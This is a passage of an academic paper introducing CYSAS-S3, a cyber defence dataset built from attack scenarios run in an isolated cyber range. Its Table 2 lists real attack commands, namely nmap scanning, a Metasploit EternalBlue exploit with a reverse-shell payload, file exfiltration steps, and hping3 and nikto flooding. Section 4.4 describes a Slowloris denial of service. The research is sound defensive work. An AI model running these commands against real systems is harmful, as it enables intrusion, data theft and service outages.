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Abstract: The digital transformation of the defence sector is not exempt from innovative require-
ments and challenges, with the lack of availability of reliable, unbiased and consistent data for
training automatisms (machine learning algorithms, decision-making, what-if recreation of opera-
tional conditions, support the human understanding of the hybrid operational picture, personnel
training/education, etc.) being one of the most relevant gaps. In the context of cyber defence, the
state-of-the-art provides a plethora of data network collections that tend to lack presenting the infor-
mation of all communication layers (physical to application). They are synthetically generated in
scenarios far from the singularities of cyber defence operations. None of these data network collec-
tions took into consideration usage profiles and specific environments directly related to acquiring
a cyber situational awareness, typically missing the relationship between incidents registered at
the hardware/software level and their impact on the military mission assets and objectives, which
consequently bypasses the entire chain of dependencies between strategic, operational, tactical and
technical domains. In order to contribute to the mitigation of these gaps, this paper introduces
CYSAS-S3, a novel dataset designed and created as a result of a joint research action that explores the
principal needs for datasets by cyber defence centres, resulting in the generation of a collection of
samples that correlate the impact of selected Advanced Persistent Threats (APT) with each phase of
their cyber kill chain, regarding mission-level operations and goals.

Keywords: advanced persistent threats; cyber defence; cyber situational awareness; dataset; decision-
making

1. Introduction

In the context of cyber defence operations, the expression popularised by the research
community on machine learning, “you go to war with the data you have, not the data
you might want”, is applied literally [1]. Since several policies consider the cyberspace
the fifth domain of operations, alongside the domains of land, sea, air, and space [2], the
successful development of cyber defence tools and their implementation into Security
Operation Centres (SOC) missions and tasks [3,4] has become increasingly dependent
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on data; as well as on a proper acquisition of Cyber Situational Awareness (CSA) from
commanders and their staff [5]. Aimed by dual (Civilian-Military) purposes, in the last
decade, the generation of cybersecurity datasets has been promoted by several industrial
(LBNL [6], CAIDA [7], UNSW-NB [8], etc.), academic (KDDCUP’99 [9], NSL-KDD [10],
ISCX-UNVB [11], etc.) and defence (DARPA’98 [12], DARPA’99 [13], etc.) efforts. How-
ever, their application in recent environments has not been free of controversy: the main
criticisms concern the sample collections on which they are founded, the usually present
labelling errors, lack of rigour in the capture process, outdating, absence of enough diver-
sity of scenarios/threats, and the fact that the results are usually proven inconsistent with
those observed in real actuation environments [14,15]. These are synthetically generated or
gathered in given scenarios far from the singularities of cyber defence operations. None
of these collections took into consideration usage profiles and specific scenarios directly
related to acquiring cyber situational awareness [16,17], typically missing the relation-
ship between incidents registered at hardware/software levels and their impact on the
military mission assets and objectives, which consequently bypasses the entire chain of
dependencies between strategical, operational, tactical, and technical domains.

On these grounds, the dataset collection environment should aim to check awareness
and assess or train response planning to various cyber threats, which, beyond the con-
ventional state-of-the-art context, shall additionally relate to: (1) assess the capabilities to
determine operational impacts of cyber attacks and implement proper recovery and reme-
dial procedures; (2) expose and correct weaknesses in target systems, operations, policies
and procedures; (3) assess the effectiveness of the incident reporting; (4) determine what
additional capabilities are needed to protect the target system and provide for operations
in a hostile environment; (5) develop contingency plans to remediate to the loss of IT assets.
These datasets shall cover the whole information stack, from physical (OSI 1 Layer) and
digital dimensions (OSI 2–7 Layers) up to the military mission plane (tactical capabilities,
tasks, mission goals, etc.).

With the aim of solving these difficulties and in order to contribute to specific and
generate appropriate datasets tailored to mission-centric cyber tools, this paper introduces
CYSAS-S3, a novel dataset that makes cyberspace situations converge with mission-level
simulations. CYSAS-S3 is the result of a joint effort that merged academy, research, industry
and defence institutions. This paper supports the preliminary results disseminated in [18]
in the context of the First Workshop on Recent Advances in Cyber Situational Awareness
on Military Operations (CSA 2020) held at the ARES 2020 conference. Due to further
ongoing experimentation, a version of the CYSAS-S3 dataset will be prepared and could be
accessible in the future.

Due to the great interest aroused among the audience, as well as the large number
of comments received from different stakeholders, the authors decided to publish this ex-
tended and much more detailed version of the conference manuscript. Beyond responding
to the raised questions, the revision of the conducted research led to the introduction of
novel guidelines, as well as providing illustrative cases of applications, highlighting the
following key contributions, among others:

• An in-depth revision of the state-of-the-art in dataset generation applied to cyber
defence.

• The results of a joint effort towards delivering a dataset suitable for calibrating and
evaluating cyber defence tools for supporting military operations in cyberspace. The
proposal’s design principles have been constituted under the consensus of several
stakeholders, which provides a realistic vision of the problem statement.

• Definitions of Communications and Information Systems (CIS) level and Mission
Impact (MI) level scenarios tailored to military cyber defence needs.
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• A CIS-level CYSAS-S3 dataset was gathered in a virtualised operational environment
(Cyber Range), comprising three main adversarial scenarios: data exfiltration, de-
nial of service and credential steal. All of them execute a cyber kill chain, clearly
differentiating their intrusion phases.

• A mission-level CYSAS-S3 dataset that represents a simulated parallel mission op-
eration that is dynamically impacted by the situations represented in the CIS-level
CYSAS-S3.

• A full stack of communication evidence, ranging from the physical layer to digital
(data link, transport, application) and mission-level dimensions (tasks, goals, etc.).

• In order to support the research application, the proposal introduces guidelines for
evaluation methodologies built on the dataset grounds, able to cover the whole life-
cycle of cyber defence tools related to the acquisition of cyber situational awareness.

This paper is organised into seven sections, being the current introduction the first
of them. Section 2 introduces the theoretical background on datasets and evaluation of
cyber defence and cybersecurity capabilities. Section 3 delves into the description of the
design principles of the conducted research. Section 4 presents the CIS-level contents
of the generated dataset. Section 5 describes the Mission-level results of the generated
dataset. Section 6 proposes guidelines for the dataset adoption in mission-centric evaluation
frameworks. Finally, Section 7 presents the conclusions and suggestions for further research.

2. Background

The following reviews the key insights of the state-of-the-art on dataset generation for
cybersecurity capability verification and validation: threat modeling and attack scenarios,
testbeds and dataset generation environments, network traffic generators, attack models
and adversarial activity emulation, synthetic mission simulation and related evaluation
methodologies.

2.1. Testbeds and Generation Environments

The bibliography describes a large collection of technological enablers able to partially
or totally recreate a testbed environment for adequate dataset injection and execution of
processes fitted to real cyber situations [19], including the triggering of malicious and
benign events to support the definition and creation of scenarios of cyber threats/attacks.
Consequently, safe and recoverable virtual instances of cyber assets, services and networks
shall coexist. In this context, virtual managers, sandboxes and cyber ranges entail the most
frequently adopted generation environments. The first of them entails the backbone of most
sandboxes and cyber ranges, which allows creating, editing, starting and stopping Virtual
Machines (VMs) and containers remotely or locally; while monitoring their performance
and effectiveness. This supports network virtualization and the adoption of promising
growing paradigms, such as Network Function Virtualization (NFV), thus changing the
way of creating, deploying and operating networks by decomposing hardware elements
into software components that run on virtualised servers [20]. There is also a growing
trend in combining Computer-Aided Design (CAD) images and Digital Twins (DTs) of
real cyber-physical assets, so the generated situations gain credibility and better fit the
particular purpose of end-users [21,22].

A wide narrative revision of the core involved technologies was presented by
Ukwandu et al. [23], which were segmented as virtualisation, simulation, containerisa-
tion and physical hardware; some of the existing solutions implement a combination of
them, as is the case of the merge of virtualisation and physical hardware. Accordingly,
the use of containers is more scalable compared to VMs, but the latter provides a more
flexible and secure system. In addition, NFV changes the way of creating, deploying and
operating networks by decomposing hardware elements into software components that
run on virtual servers [24]. The authors concluded that their application depends largely
on need, but there is the possibility of VMs and container technologies merging into a
form of cloud portability. Technologies that establish, manage, and control the testbed and



Sensors 2022, 22, 5104 4 of 26

generation environments are located between the technological core and front-end layers,
including hypervisors, software-based Relay Terminal Units (RTUs), Relay Programmers,
traffic generators, simulators, emulators, etc. [25]. Their composition is strongly limited
by the testbed and generation purpose, but most of the existing providers do not provide
many details about them. Finally, Front-End technologies shall close the gap between the
user and the core and infrastructural enablers and their applications. For this purpose,
the most adopted enablers implement web services (e.g., Apache or Nginx coupled with
Content Management System (CMS)), but there are exceptions that explore the application
of advanced Human–Machine Interfacing (HMI) capabilities such as Augmented Reality
(AG), speech recognition, etc. [26].

Critical terrains on intermediate architectural layers of cybersecurity testbeds are the
sandboxes, which represent a low-level layer that encapsulates isolated computer networks
and systems where users can safely perform their cybersecurity tasks without threats
vertically/horizontally propagating to undesired layers [27]. Under this condition, cyber
ranges are conceived as hands-on cybersecurity practice tools that allow human interaction
with sandboxed attack narratives and scenarios for didactic and data gathering purposes,
thus perfectly fitting for generating hyperrealistic execution environments. Because of this,
the authors of [28] propose their classification according to the scenarios they generate
(purpose, storyline, environment, type, etc.), monitoring capabilities (supported layers,
methods, tools, etc.), teaming capabilities (red, blue, green, artificial agents, etc.), the
scoring system for assessing user progress (methods, calculations, etc.), and platform
management utilities (resources, roles, range, etc.). However, despite their potential for
dataset generation, there are not many precedents of their application with such purpose,
being partially covered by publications such as [8] or [29]. There are no publications
completely describing their interaction with military cross-domain mission planners. The
need for this integration for the sake of training and educating the acquisition of cyber
situational awareness was recently echoed in publications such as [30,31], which has been
one of the principal motivations of the research presented in this paper.

2.2. Network Traffic Generation

A large number of traffic generators have been developed in the last decades based on
different methodologies but are mostly adapted to the specific needs of inferring synthetic
network environments by simulation or emulation [32], ranging from the particularities of
Software-Defined Networking (SDN) [33] to underwater wireless communications [34].
The bibliography presents several surveys on the topic [35–38], which, according to [35],
can be classified as replay engines, maximum throughput generators, high-level and auto-
configurable generators, and special scenario generators. The first of them is the most
frequent in publicly available repositories and databases. As their name suggests, they
entail engines that are based on previously captured traffic (traces) in real scenarios and
infer and inject exact replicates of their contents, keeping the original timing and payload.
The most famous open-source replay engine is TCPreplay [39], which can use libpcap
files as input and can rewrite Layer 2, 3 and 4 header information for various testing pur-
poses. Since TCPreplay is a general, user-level application working on any UNIX platform,
its performance is highly dependent on the installed environment. Another example is
TCPivo [40], a high-speed packet replay engine implemented on commodity hardware.
Replays are particularly useful in generating backbone traffic due to the complexity of
their artificial generation [41]. They entail the category of most realistic general-purpose
generators but with difficulties for adaptation to particular contexts on delivering the
entropy required for particular applications of the simulation/emulation.

The network traffic generation by maximum throughput is commonly applied for
assessing the end-to-end network performance, since they are designed for injecting the
maximum network traffic. This paradigm provides priority to the massive injection of
packages over quality and realism, so it is most suitable for supporting stress testing actions
rather than the training of anomaly-based classification tools. A popular multi-platform
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maximum throughput traffic generation is iperf [42], which is mostly applied for testing
bandwidth, delay jitter and loss ratio characteristics by Transmission Control Protocol
(TCP) and/or User Datagram Protocol (UDP) massive streaming. Other widely used
related solutions are BRUTE [43], BRUNO [44], KUTE [45] and Ostinato [46], most of them
open-source distributed.

The solutions tagged as high-level and auto-configurable generators are characterised
by taking advantage of advanced modelling and procedural content generation towards
delivering traffic injectors able to automatically configure their parameters based on live
measurements, therefore, creating an output that is statistically similar to the original
traffic [47]. Due to the high demand for related solutions in the context of simulation,
education and training, the research community has been particularly active on this topic,
where recent advances in Generative Adversarial Networks (GANs) and other machine
learning enablers seem promising solutions [48]. Widely adopted examples in this regard
are: HARPOON [49], for producing synthetic traffic based on various flow characteristics;
SWING [50], for strong statistical similarity; and LiTGen [51], for inferring application-
level contents (web, mail and P2P). Finally, specific scenario generators aim to cover
particular network conditions and unique metric requirements, as is the case of EAR [51]
for transferring packet-level captures into sequences of events in compliance with the IEEE
802.11 protocol, or in [52,53], where generation methods are presented for only WWW and
YouTube traffic, respectively.

2.3. Content Generation for Cybersecurity Evaluation

Although the section above analysed the state-of-the-art of network traffic generators,
none of those has a security-oriented approach since there was no distinction between the
inference of neutral (benign) and malicious traffic. The particular traffic generation require-
ments for this purpose, among others, are discussed in [14], where three types of workloads
are distinguished: (1) workloads that do not contain attacks (Pure benign); (2) workloads
that contain only attacks (pure malicious); (3) workloads that are a mixture of pure benign
and pure malicious workloads (Mixed) [54]. These types of workloads may present two
different forms: executable and trace. While the trace form is generated by recording a
live execution of workloads for later replay (using the replay engines mentioned above),
the executable form needs a specific victim environment for the malicious workloads. The
malicious workloads may be manually produced at customised deployments or available
by distributable sets of network traces (e.g., public datasets).

A major disadvantage of manual assembly is the high cost of the attack script col-
lection process. Locating the attack scripts needed for exploiting specific vulnerabilities
and obtaining the required vulnerable software is typically time-consuming, and once
the needed attack scripts are found, they usually have to be adapted to exploit the vul-
nerabilities of the victim environments. Depending on the size of a manually assembled
exploit database, the previously mentioned activities might require a considerable amount
of manpower to be completed in a reasonable time frame. For instance, in [55], the authors
report that a single attack script requires approximately one person-week to modify the
script’s code, test it, and integrate it into an evaluation environment. To alleviate the afore-
mentioned issues, many researchers rely on the exploit databases of popular penetration
testing tools and platforms, as is the case of Metasploit [56]. A wide discussion of them
and the role of artificial intelligence enablers in optimizing their operation is presented
in [57].

On the other hand, instead of generating workloads using a network environment
created specifically for this purpose, it is possible to obtain publicly available traces that are
intended for use in security research, most of them being collected and studied in depth
in [58]. The malicious content in these publicly available collections usually corresponds
with real traffic captures (KDD’99, DARPA’99, CAIDA, LBNL/ISCI, etc.) or traffic gener-
ated by tools that imitate the behaviour of the real attacks (D-ITG, Harpoon, Curl-loader,
DDOSIM, etc.) [59]. This may serve for initial validations, but as pointed out in [60], the
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difficulty in acquiring datasets for training and validation tailored to a particular purpose
entails the classic problem in many of their applications, which overlaps with the compli-
cated task of capturing enough representative information to build a model or train a cyber
sensor [61]: consideration of stationary changes, noise removal, time-separated observa-
tions, etc. When serving anomaly-based classifiers, the state-of-the-art datasets tend to
include more normal than outlaying samples, a situation that for some researchers may
call into question the false-negative rates that some proposals are presumed to reach due,
among others, to class unbalancing [15,62]. Other issues are linked to the antiquity (e.g.,
the background traffic of 1999 is not expected to be the same as in a current network)
and the existence of labelling errors within them [63]. As concluded by [14,64], this leads
to situations where the obtained accuracy by detection systems in functional evaluation
standards could be misinterpreted in comparison with the accuracy displayed in real
use cases.

3. Design Principles

Both dataset and guidelines for evaluation methodologies have been generated based
on the system engineering techniques and innovation practices learnt from the previous
research activities of the project’s team members. On that basis, three major project de-
velopment stages were defined (see Figure 1). The first phase focused on data collection.
From the analytical study performed at the first stage, the second block of actions was de-
veloped, which aimed to define a specific baseline for validating CSA and its architectural
components. This includes the establishment of the best-suited scenarios and network
usage profiles, from which it is possible to approach a dataset generation tactic that are
interrelated the different CSA impact assessment layers (Mission-level, CIS-level, etc.).
Accordingly, the last stage will provide a realistic dataset, the contents of which will be
verified based on the experimental results registered at well-known incident detection
solutions. It will drive to establish guidelines for mission-centric evaluation methodologies
and testing procedures able to check the validity of the results and compare it with related
contributions. The different stages were overlapped in time, running in parallel in certain
periods, in order to assure feedback, coherency and consolidation between the project’s
team members. Throughout the course of the project, the management activities ensured
the proper delivery of the research findings.

Development

Dataset generation

Verification

Testing procedural

Assessment criteria

Definition

Network scenarios

Profiles and patterns

Traffic generation

Log labeling

Knowledge Acquisition

Publications

Tools and frameworks

Expert WGs guidelines

Legislation

Data Management and Consultation Strategy

Feedback

Figure 1. CYSAS-S3 research development methodology.

3.1. Objectives

Through the CYSAS-S3 generation, the project’s team has assumed that the main
purpose of the datasets is to support the proper execution of evaluation loops inherent
in verifying cyber defence tools, which typically start with the discovery of potential
threats/risks in cyberspace, their propagation to the mission domain and the suggestion of
the best suitable countermeasures in support of a Security Operation Centre (SOC). With
this in mind, it is possible to state that the following hypotheses have been assumed:
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Null Hypothesis (H0): It is not possible to infer datasets from different attack scenarios, as well
as associated guidelines for the evaluation methodology able to support the whole evaluation process
of cyber defence tools.

Alternative Hypothesis (H1): It is possible to infer datasets from different attack scenarios, as
well as associated guidelines for the evaluation methodology able to support the whole evaluation
process of cyber defence tools.

On the other hand, through the CYSAS-S3 dataset generation, the project team has
assumed several secondary goals, among them: (1) to produce samples interoperable
with other cyber situational awareness acquisition tools, which was achieved by taking
advantage of standardised data models and comprehensible documentation; (2) to simulate
mission activities that complement the CIS-level observations; (3) to develop different and
heterogeneous scenarios.

3.2. General Assumptions and Requirements

Attack scenarios expect a Cyber Situational Awareness System (CYSAS) to access
data sources by means of the configured connectors to derive data observation features
and characteristics of a cyber attack. Information needed for assessing CYSAS and its
development or refinement should be extracted, in general, from: (1) network and host
security sensors and devices; (2) system logs, proxy logs, network traces, and flows;
(3) repositories that provide structured cybersecurity information. The following additional
statements have been assumed by design:

• The background synthetic activities on the CYSAS-S3 dataset do not enforce non-
stationarity. This property may occur (or not) based on the activities conducted by
artificial neutral agents deployed through the execution environment. As it has been
deduced in a posteriori analysis, some samples present this property, and others
do not.

• Non-pre-processing actions have been performed on the gathered information. Since
CSA-related solutions should be able to operate on raw data collected from a real
monitoring environment, it was assumed that all filtering, rectification, padding
insertions, etc., should be conducted by the capabilities to be evaluated.

• It was assumed that the COTS solutions engaged in the CYSAS-S3 dataset generation
process operate as expected. This includes the validity of the logs, events and alerts
reported by such solutions.

3.3. General Limitations

The following limitations have been identified through the conducted
research activities:

• The large volume of network activities generated per scenario makes generating
large datasets using PCAP files practically unfeasible in terms of manageability, so
aggregated information has been presented via CSV files.

• Great diversity and heterogeneity of artificial neutral behaviours serving as the back-
ground of the attack scenarios may lead to human misunderstandings of the validation
results. The in-depth analysis of the impact of the procedurally generated contents
entails a complex task beyond the scope of this publication.

• During the execution of Scenario 3, the credential theft process required that users
manually identify the windows machine with a username and password, which has
made it unfeasible to automate this task, thus limiting the number of samples obtained
and adding complexity to the dataset generation process [65].

• In some cases, the execution of all the automatic tasks of collection and processing of
logs by the orchestration component of the Cyber Range platform (Synthetic Training
Attack and Neutral, referred to as STAN) produced undesired effects on the “ho-
mogeneity” of the datasets, for example, by adding unwanted statistical variations.
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Although they have been detected and corrected, it is possible to assume that they may
be not perfectly cured, so the project team decided to provide the resulting CYSAS-S3
dataset raw, thus allowing the testing and validation of data preprocessing functions
able to sanitize them.

• As a first research iteration, and bearing in mind that real users were not involved
during the experimentation, privacy was not taken into consideration. The future
addition of real users may rely on tools similar to those surveyed in [66].

3.4. Premises on the Implementation Environment

The evaluation of the effectiveness of cyber defence tools shall be realised by stress-
ing the assets (systems, services, etc.) that must be protected against general or specific
potential cyber threat situations. This requires their operability in a separated and ded-
icated emulation/simulation environment and under safe and isolated conditions (i.e.,
sandboxed). Prompted by the virtualization paradigm, each virtual machine or network
shall keep the vulnerabilities, services and applications observable in the real analogous
environment, producing similar behaviour according to a suitable degree of affinity. Based
on this, the following specific assumptions and limitations apply to the platform, testbeds
and sandboxing capabilities able to hold the execution of the designed neutral and threat
situations:

• A pure virtual environment shall be deployed where physical devices are emulated.
• Benign traffic generation should be limited to the minimum needed to support mali-

cious scenarios while resembling a realistic neutral background procedurally gener-
ated.

• In order to leave the network scenario free from any interference in testing sessions,
every scenario shall be executed in isolation in regards to each other, and without
external internet connectivity. Thus, every contribution that is expected to be given
from external events shall be simulated/emulated within the testbed platform.

• The testbed and sandboxing platforms should be totally virtualised, so there will be
no external specific devices not contemplated by the expert operators.

• Network-based and local-based data feeds shall be procedurally generated. However,
they must resemble real neutral activities and information exchanges, so they will
have to make sense and not be random byte exchanges (thus keeping the involved
discovery and handshaking protocols, redundancy checks, etc.).

• OSI Layer 2, 3 and 4 configurations should be allowed in the shake of flexibility. Layer
1 interactions may be emulated, while 4+ Layer information will be complemented by
that provided by each network node (sessions, applications, etc.).

• Each decision-making and actuation capability must be preliminarily agreed, and
properly documented, so each possible deviation of the unadulterated situation flow
can be considered by post-execution analysis and research.

3.5. CySAS-S3 and Existing Datasets

As commented in the section above, instead of generating workloads using a network
environment created specifically for this purpose, it is possible to obtain publicly available
traces that are intended for use in research. For example, in [58], it is possible to find a
taxonomy of almost one thousand cybersecurity research datasets. Table 1 presents an
overview of some popular repositories of publicly available traces categorised according
to multiple criteria: the Cooperative Association for Internet Data Analysis (CAIDA) [7],
the Defense Readiness Condition (DEFCON) [67], the DARPA/KDD–99 [12] refS3-21, the
Internet Traffic Archive (ITA) [68], the LBNL/ISCI (International Computer Science Insti-
tute) [69], the UCM dataset for anomaly-based malware detection [62], collection of traces
from source-side malicious activity analysis [70], or the MAWILab trace repositories [71].
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Table 1. Comparison of CySAS-S3 regarding key features of previous collections.

CAIDA DEFCON DARPA/KDD ITA LBNL/ISCI MAWILab UCM Source-
Side CySAS-S3

Content Mixed Malicious Mixed Benign Benign Mixed Mixed Mixed Mixed

Activities Network Network Network/Host Network Network Network Network Network Network/Host

Labelled No No Yes N/A N/A Yes Yes Yes Yes

Realisic Yes No No Yes Yes Yes Yes Yes Yes

Anonymised Partially No No Partially Yes Yes Yes Yes No

Metadata Yes No Yes No Yes Yes No No Yes

Access Partial No No No No No Partial Partial Partial

Mission-centric No No No No No No No No Yes

Kill-Chains No No No N/A N/A No No No Yes

Based on the type of activities contained:

• CYSAS-S3 is one of the few datasets that combine activities both at the network
level and on the different hosts interacting in each scenario. This collection of traces
combines malicious and benign content with the different cyber kill chains executed
on a benign base context.

• As stated in [58], the traces may or may not be realistic. Note that [58] considered
realistic traces as those captured directly in the operating environment, without any
kind of modification once collected. Based on this criterion, CYSAS-S3 is one of the
few datasets that fall into the Realistic category.

• Since the entire execution has been carried out in a sandbox provided by Indra’s Cyber
Range, the traces have not been anonymised.

• Like much of the state-of-the-art, CYSAS-S3 provides a large amount of Metadata.
• Among the different collections surveyed, CYSAS-S3 is the only one that combines

host, network and Mission (operation line) traces dependent on the above
domains [72].

• CYSAS-S3 is the only one in which the cyber Kill-Chains are clearly visible;

4. CIS-Level CYSAS-S3

In order to produce CIS-level observations on the CYSAS-S3 dataset, three different
scenarios have been designed and implemented, which are meant to suffer a variety of
attacks that an Advanced Persistent Threat (APT) or similar cyber antagonist (the attacker,
from now on) would perform against a certain target infrastructure [73]. The behaviour
of the attacker covers a large spectrum of well-known tactic techniques and procedures,
which are documented in facto standards, such as MITRE ATT&CK [74]. Accordingly, the
attacker will enforce partial or complete cyber kill-chains against its target with different
purposes or objectives. It is important to remark that many of the actions that the attacker
carried out remained undetected, thus being conducted privately, meaning that from a
defender’s perspective, those actions may possibly not be disclosed or perceived by digital
means. In addition, there are certain steps of the attack narratives that do require human
intervention. Custom and ad-hoc agents acting in a controlled, slightly randomised way
simulated these specific interactions. In addition, syntactical neutral activities surrounded
the malicious actions, which were generated by network simulations and distributed
artificial agents emulating different profiles of node behaviours driven by Behavioural
Trees [75].
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4.1. Generation Methodology

The CIS-level part of the CYSAS-S3 dataset was generated, as illustrated
in Figure 2. In a preliminary stage, the narrative and technical scope of each scenario
have been defined, where the suitability of the scenarios has been contrasted with their
viability of implementation based on the existing state-of-the-art COTS solutions. This
produced initial scenario designs, which were validated. Once validated, the infrastructure
(network environment, VMSs configuration) and neutral activities were defined, deployed
and tested on the Cyber Range platform. The narrative orchestration was configured to
schedule both adversarial and neutral behaviours, and once implemented, functional tests
were executed. The latter attempted to verify that there are no residual remains between
unrelated cyber kill chain executions, ensure that the red team workflows were properly
scheduled and assure that network traces, events, logs and other indicators were properly
labelled and stored. At the CYSAS-S3 dataset generation stage, each execution of and attack
scenario framed a dataset sample, which provides the traffic traces, events, logs and IDS
reports collected during the associated cyber kill chain execution. Each sample includes the
neutral background activities monitored prior, during and post-attack.

Indra’s Cyber 
Range Functions

Indra’s 
Contributions

Leonardo’s 
Contributions

Scenario Design

Initial Scenario 
Design

Scenario 
Validation

Network Design
VMS 

Configuration
Activities 
Definition

Workflow 
Definition

Functionality 
Test

Network 
Deployment

Automatic 
Activities Design

OKCorrections

VMS Uploaded 
to Cyber Range

Automatic Activities 
Deployment

Target System Deployed 
in Cyber Range

Functionality 
Test

OK

Scenario is Ready

Corrections

NO

YES

NO

YES

Figure 2. Workflow for scenario Development.

Tailoring to the Assumed Infrastructural Constraints

An emulation environment provided the space for the controllable scenarios; it was
used in order to generate the complex cyber-attacks and data necessary for the development,
verification and validation of the software modules and algorithms used by the system.
The following conditions were applied to the virtual environment infrastructure:

• Design and deployment of the virtual environment on the assigned hardware.
• Setup a cloud based on the physical infrastructure, select cloud management platforms,

and design and deploy the virtual communication infrastructure.
• Maintain a data and metadata (template) repository, a physical area where templates

are stored so that they can be easily browsed and recalled by virtual machines.
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• Connect virtual machines to virtual networks via virtual network interfaces and define
virtual routers and switches, modules running on nodes maintaining routing tables
and MAC addresses database.

The following conditions were applied in the virtual network design stage:

• Create the testbed configuration and metadata needed to deploy the virtual network:
network and vulnerability inventories, and communication rules. Create the logic
schema of the network infrastructure of the network (layers 2 and 3); that is, how
many subnetworks it is composed of, how they are separated using network devices
(e.g., router, hubs, switches), as well as the presence of firewalls and their relative
configuration rules.

• Identify the computer hosts deployed in the network and their operating systems.
• Determine what services are running on the network host and understand the hosts’

exposed vulnerability surface.
• The scenario is the virtual operating environment that includes networks, hardware,

software and their behaviour during test sessions. The platform to be deployed aims
to stage scenarios that meet the evaluation requirements. In the logical representation
of components of Figure 3, the hardware configurations are responsible for the vir-
tual environment infrastructure; the application infrastructure, used for attack tools
and procedures, and the virtualised target network rely on it; a layer for the traffic
generation can serve both components.

• Define the virtual network with minimal complexity to facilitate PCAP analysis.
• No layer 2 protocol other than ethernet was used for tagging or for encapsulation.
• IP was the only layer 3 protocol used, and layer 4 communications were encapsulated

either over TCP or UDP.
• All ICMP communications were also allowed.

Figure 4 depicts a general purpose deployment of the considered testbed environment,
which has been adapted to the singularities of each implemented scenario. Accordingly,
the testbed servers, user space, orchestrators and cyber sensors will be isolated from the
virtualised scenario so that they are not targetable by the triggered threats.

Traffic Generation

Application 
Infrastructure

Network Infrastructure

Virtualization Infrastructure

Hardware Infrstructure

Figure 3. Logical representation of the deployed components.

Figure 4. Generic topological view of the deployed infrastructure.



Sensors 2022, 22, 5104 12 of 26

4.2. Generation Environment

The fictitious scenarios implemented share a common network topology and base
infrastructure, being deployed at the Cyber Range Lab of the Indra Cyber Range Platform
(ICR) [76]. On the aforementioned grounds, this environment provides a powerful tool for
designing and deploying custom virtualised cyber defence scenarios that, among others:

• Allows the procedural generation of real cyber operational environments with inte-
grated CIS systems and replicas of real assets.

• Allows the instantiation and/or integration of cyber-physical systems (land units,
aircraft, etc.).

• Provides education and training services aiming to prepare cyber workforces under
competitive and collaborative exercises.

The neutral and malicious activities were generated driven by its STAN (Synthetic
Training Attack and Neutral) ICR component. Note that although STAN was born con-
ceptually with the aim of serving as a system for modelling adverse behaviours driven by
Behavioural Trees, its evolution within the Cyber Range platform has led it to become a
central component as a tool for modelling any type of behaviour, deployment and even
checking the achievement of objectives and communication with the back-end systems that
record them during Cyber Defence Exercises (CDX). The project team defined an internal
network, according to Figure 4, to host sample servers: a Web Server Running Apache
Web Server on Centos Linux and a Mail Server Running Postfix + Dovecot on the same
Kernel and software distribution; in this same network segment, a Windows 7 worksta-
tion with server message block (SMB) file functionalities has been deployed. The attacks
were launched from an external network that represents a low-security segment of the
organization’s network. The simulated operational environment was observed by COTS
popular IDS: Suricata [77], Open Source HIDS SECurity (OSSEC) [78] and the winlogbeat
Sysmon module [79] (which is part of the ELK stack); the latter is used as a HIDS solution
to complement the OSSEC agent capabilities.

At this point, it is important to remark that the CYSAS-S3 dataset was collected on
a sandbox built on ICR, which enables the possibility of deploying hundreds of virtual
nodes where:

• Real hosts interoperate with real networks.
• Real attacks are executed against them.
• Real sensors (both host and network-level) were deployed logically isolated from

the scenario, so that the measurement does not interfere with either legitimate base
activity or offensive chains.

• The benign activity at the host level was generated by the ICR’s component STAN
(Synthetic Training Attack and Neutral), which was based on replicating real actors in
real operational environments. Network activities were not simulated, but they were
the results of the interaction between synthetic host nodes.

4.3. Fictitious Scenario 1: Data Exfiltration

During this scenario, a conventional APT drives hostile activities, where the objective
is the exfiltration of sensitive documents from a company. The attacker, after collecting
information about the target company, identifies some IP addresses related to it. Then it
scans IP addresses to detect the exposed services, and the attacker prepares and configures
some tools to carry out the attack. Before exploiting the vulnerability on the File Server, the
attacker generates background noise by making a scan on the Web Server and a DOS-like
attack on it. Finally, the attacker exploits the EternalBlue (CVE-2017-0144) vulnerability on
the File Server: the attacker creates a Reverse Shell on the server, and it exfiltrates sensitive
data. Table 2 details the executed APT phases in compliance with the MITRE ATT&CK
taxonomy, including its cyber kill chain. The phase field shows the workflow followed
during the attack; the tools, actions, and commands fields show the tools used and the
commands used in each of the steps. Finally, in the technique field, the techniques used are
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mapped with those defined in the MITRE ATT&CK taxonomy. In Figure 5, the succession
of the stages of the attack is presented graphically.

Table 2. Detailed steps to perform the attack in Scenario 1.

MITRE ATT & CK Phase Tools Actions and Commands

T1247 0 N/A N/A

T1046 1 Nmap “nmap -vvv -Pn -sV -sT -O %s” %(ip)

T1349 2 hping3; nikto; metasploit

T1068 3 and 4 Metasploit

Create script ethernalblue_MFS.rc:

1- use exploit/windows/smb/ms17_010_eternalblue

2- set payload windows/x64/meterpreter/reverse_tcp

3- set LHOST 192.168.124.1

4- set RHOST 192.168.126.1

5- exploit ‘msfconsole -r %s’ %FdExploit (%FdExploit is the

folder of the script)

T1105 5 N/A
From the Shell:

1- cd c:

2- cd Users\BOB\secret\

3- dowload progetti_segreti.pdf (supposed file to be exfiltrated)

T1498 6 NIKTO “nikto -Tuning 390ab -h %s” %(ip) (IP of the Webserver)

T1046 7 Hping3 “hping3 -c 100 -S -p 53 –flood %s” %(ip) (IP of the Mail Server)

Scenario Initialitation

0

1

2

3

4

5

6 7

T1247: Acquire OSINT data 
sets and information 

T1046 : Network Service 
Scanning

T1349: Build or acquire 
exploits

T1068: Exploitation for 
Privilege Escalation

Exploitation

T1105: Remote File Copy

T1498 Network Denial of 
Service

T1046 : Network Service 
Scanning

Figure 5. Scenario 1—Cyber kill chain for Data Exfiltration.
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Note that the cyber kill chain in all attack scenarios has a preliminary phase 0, which
occurs once the scenario execution starts. This phase indicates that the attacker has not yet
taken any action and is thus why tools, actions and commands are not applicable.

4.4. Fictitious Scenario 2: Webserver Denial of Service

In this scenario, the adversary launches a Denial of Service (DoS) attack by taking
advantage of the exploitation script (Slow Loris) against an Apache webserver vulnerable
to CVE-2007-6750. This attack generates a certain number of requests that collapse the
web server just by exhausting its threat pool for incoming petitions, rendering the server
useless until the attack stops. Overall, this is a very economical scenario from the point
of view of effort since it does not require excessively high bandwidth and the attacker
only needs to compromise a single machine for success. It is especially dangerous since
a vulnerable web server may become totally unavailable. The attacker does not need a
large infrastructure since the attack is performed using very low bandwidth and only one
compromised machine. The attack seeks to render the target’s exposed services unavailable.
The attackers use OSINT techniques to find the webserver’s IP address. Then Slow Loris
is launched to bring the server out of service. Curl against the target may be triggered in
order to check the server’s lack of response. Table 3 details the executed APT phases in
compliance with the MITRE ATT&CK taxonomy and its cyber kill chain. Figure 6 shows
the flow of the execution of the attack according to each of the phases defined previously.

